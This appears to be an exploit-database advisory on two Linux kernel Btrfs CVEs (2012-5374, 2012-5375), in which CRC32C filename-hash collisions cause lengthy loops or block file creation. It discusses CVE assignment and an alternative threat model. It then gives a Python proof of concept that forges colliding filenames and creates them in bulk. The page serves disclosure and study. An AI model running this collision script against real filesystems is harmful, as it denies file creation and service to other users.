linux kernel Btrfs CRC32C infinite loop and privilege boundaries

2012-12-14 / 2013-02-18
Credit: Pascal Junod
Risk: Low
Local: Yes
Remote: No
CWE: CWE-399

We have assigned two CVEs to these issues in the Linux kernel: CVE-2012-5374 Btrfs CRC32C feature leads to an "infinite loop" or a similar lengthy runtime of filesystem operations CVE-2012-5375 Btrfs CRC32C feature prevents file creation in ways that may cross privilege boundaries Here are a few additional comments. We realize that the assignment of CVE-2012-5374 is potentially problematic because the researcher did not investigate the code to determine whether an infinite loop was actually occurring. Our expectation is that, after source-code analysis is completed by others, the correct number of CVE IDs for the issue will still be one. We realize that the assignment of CVE-2012-5375 is potentially problematic because there is, in some sense, a vendor statement that the software behavior is completely intentional ("Group writable directories have other security issues, and so we picked the hash knowing this kind of DOS was possible"). However, there are other threat models that may be relevant in some environments, and some CVE consumers may wish to track the stated behavior in conjunction with a vulnerability-handling process. Thus, there arguably should be a CVE for this issue in Btrfs, and other CVEs could be assigned on request for each additional hash-based-filesystem codebase with a similar behavior. As usual, the CVE project is willing to mark the CVE descriptions as "** DISPUTED **" based on vendor information. Here is an example of an alternative threat model that might be relevant. Suppose a system has restricted user accounts that don't have full shell access or full filesystem access. Specifically, users have no mechanism for modifying or deleting the dotfiles in their home directories, but can create other files. A security product, running as root, automatically creates .hushlogin files in home directories whenever the current motd has private information. A user can cross privilege boundaries and bypass this security mechanism by creating a file with a different name. One can argue that this isn't a vulnerability in the security product because it couldn't reasonably anticipate that existence of other filenames would trigger failure of root's O_CREAT|O_WRONLY open system call for .hushlogin. ## Borrows code from """Calculate and manipulate CRC32. -- StalkR """ ## See import struct import sys import os # Polynoms in reversed notation POLYNOMS = { 'CRC-32-IEEE': 0xedb88320, # 802.3 'CRC-32C': 0x82F63B78, # Castagnoli 'CRC-32K': 0xEB31D82E, # Koopman 'CRC-32Q': 0xD5828281, } class CRC32(object): """A class to calculate and manipulate CRC32. Use one instance per type of polynom you want to use. Use calc() to calculate a crc32. Use forge() to forge crc32 by adding 4 bytes anywhere. """ def __init__(self, type="CRC-32C"): if type not in POLYNOMS: raise Error("Unknown polynom. %s" % type) self.polynom = POLYNOMS[type] self.table, self.reverse = [0]*256, [0]*256 self._build_tables() def _build_tables(self): for i in range(256): fwd = i rev = i << 24 for j in range(8, 0, -1): # build normal table if (fwd & 1) == 1: fwd = (fwd >> 1) ^ self.polynom else: fwd >>= 1 self.table[i] = fwd & 0xffffffff # build reverse table =) if rev & 0x80000000 == 0x80000000: rev = ((rev ^ self.polynom) << 1) | 1 else: rev <<= 1 rev &= 0xffffffff self.reverse[i] = rev def calc(self, s): """Calculate crc32 of a string. Same crc32 as in (binascii.crc32)&0xffffffff. """ crc = 0xffffffff for c in s: crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff] return crc^0xffffffff def forge(self, wanted_crc, s, pos=None): """Forge crc32 of a string by adding 4 bytes at position pos.""" if pos is None: pos = len(s) # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff for c in s[:pos]: fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff] # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc^0xffffffff for c in s[pos:][::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c) # deduce the 4 bytes we need to insert for c in struct.pack('<L',fwd_crc)[::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c) res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:] return res if __name__=='__main__': hack = False ITERATIONS = 10 crc = CRC32() wanted_crc = 0x00000000 for i in range (ITERATIONS): for j in range(55): str = os.urandom (16).encode ("hex").strip ("\x00") if hack: f = crc.forge(wanted_crc, str, 4) if ("/" not in f) and ("\x00" not in f): file (f, 'a').close() else: file (str, 'a').close () wanted_crc += 1


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top